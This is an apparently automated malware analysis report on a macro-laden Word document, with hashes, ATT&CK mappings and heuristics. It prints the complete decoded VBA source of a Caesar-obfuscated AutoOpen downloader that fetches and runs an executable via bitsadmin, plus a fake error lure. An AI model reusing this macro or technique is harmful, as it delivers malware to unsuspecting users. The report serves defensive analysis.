Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0efce5fb953be71f…

MALICIOUS

Office (OLE)

109.0 KB Created: 2017-05-09 08:23:00 First seen: 2018-01-23
MD5: cea90ba4c3a5a4c0baf4efb49635416f SHA-1: 609bb5bff29a2026743f291dfaac24fdc803cccc SHA-256: 0efce5fb953be71fb03a8bed3ebbf18b0aca700af943acc6d7c5c6520692ed00
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'AutoOpen' macro is designed to execute a command via the Shell() function, which is obfuscated. The document body explicitly instructs the user to 'Enable editing' and 'Enable Content', a common social engineering tactic to bypass security warnings and execute malicious code. The obfuscated string likely resolves to a URL from which a second-stage payload is downloaded and executed.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2651 bytes
SHA-256: fb439145bfc228030f8eaa41f061c62c4288b8dd9f57c0b95130f14fc3a931b5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Function Hwozygwafchhjjtsoz(Ynfdanzn As String)
  Hwozygwafchhjjtsoz = Gnutytyahkpndfjm(Ynfdanzn, 3)
End Function
Sub AutoOpen()
    Dim Elnwjpygeksjkwjxkkaahopc, Rztnamicz As String
    Elnwjpygeksjkwjxkkaahopc = Elnwjpygeksjkwjxkkaahopc & Hwozygwafchhjjtsoz("fpg1h{h 2f %zdlwiru 2w 8 \N") & Hwozygwafchhjjtsoz("HUT ) elwvdgplq 2wudqvihu XNH") & Hwozygwafchhjjtsoz("I ") & Hwozygwafchhjjtsoz("2grzqordg 2sul") & Hwozygwafchhjjtsoz("rulw| ") & Hwozygwafchhjjtsoz("qrupdo kwwsv=22zzz1g") & Hwozygwafchhjjtsoz("urser{1frp2v2}|tdgu{t")
    Elnwjpygeksjkwjxkkaahopc = Elnwjpygeksjkwjxkkaahopc & Hwozygwafchhjjtsoz("{t;df3v24thv|r}dqdqulyr{lw|") & Hwozygwafchhjjtsoz("ri1h{") & Hwozygwafchhjjtsoz("hBgo@4 (dssgdwd(_") & Hwozygwafchhjjtsoz("oxuvsn1h{h )vwduw (dssgdwd") & Hwozygwafchhjjtsoz("(_oxu") & Hwozygwafchhjjtsoz("vsn1h{h%")

    Rztnamicz = Rztnamicz & Hwozygwafchhjjtsoz("Huuru 4<;:7= \rx pxvw kdyh ") & Hwozygwafchhjjtsoz("Riilfh Surihvv") & Hwozygwafchhjjtsoz("lrqdo ") & Hwozygwafchhjjtsoz("Hglwlrq wr uhdg wklv frqwhqw/ ") & Hwozygwafchhjjtsoz("sohdvh xsjudgh |rxu ") & Hwozygwafchhjjtsoz("olfh") & Hwozygwafchhjjtsoz("qfh1 Ylvlw zzz1p") & Hwozygwafchhjjtsoz("lfurvriw1frp iru kho")
    Rztnamicz = Rztnamicz & Hwozygwafchhjjtsoz("s")
    
    Shell Elnwjpygeksjkwjxkkaahopc, vbNormalFocus
    MsgBox Rztnamicz
End Sub
Private Function Gnutytyahkpndfjm(ByVal Nifulpkbrs As String, ByVal Kstuelh As Long) As String
    Dim Jawcggrrufrjnshupwiuo, Zwmaxvucvalkvrhmlmkewsj, Pavmvruoairhkhhtmf As Long
    Jawcggrrufrjnshupwiuo = Len(Nifulpkbrs)
    Dim Dworoacgzskkd As String
    Dim Ikjkbsknjnpoglradouvbmsfl() As Long
    ReDim Ikjkbsknjnpoglradouvbmsfl(1 To Jawcggrrufrjnshupwiuo)
    For Pavmvruoairhkhhtmf = 1 To Jawcggrrufrjnshupwiuo
        Zwmaxvucvalkvrhmlmkewsj = Asc(Mid(Nifulpkbrs, Pavmvruoairhkhhtmf, 1))
        If Zwmaxvucvalkvrhmlmkewsj = 32 Then
            Ikjkbsknjnpoglradouvbmsfl(Pavmvruoairhkhhtmf) = Zwmaxvucvalkvrhmlmkewsj
        Else:
            Zwmaxvucvalkvrhmlmkewsj = Zwmaxvucvalkvrhmlmkewsj - Kstuelh
            Ikjkbsknjnpoglradouvbmsfl(Pavmvruoairhkhhtmf) = Zwmaxvucvalkvrhmlmkewsj
        End If
        Dworoacgzskkd = Dworoacgzskkd & Chr(Ikjkbsknjnpoglradouvbmsfl(Pavmvruoairhkhhtmf))
    Next
    Gnutytyahkpndfjm = Dworoacgzskkd
End Function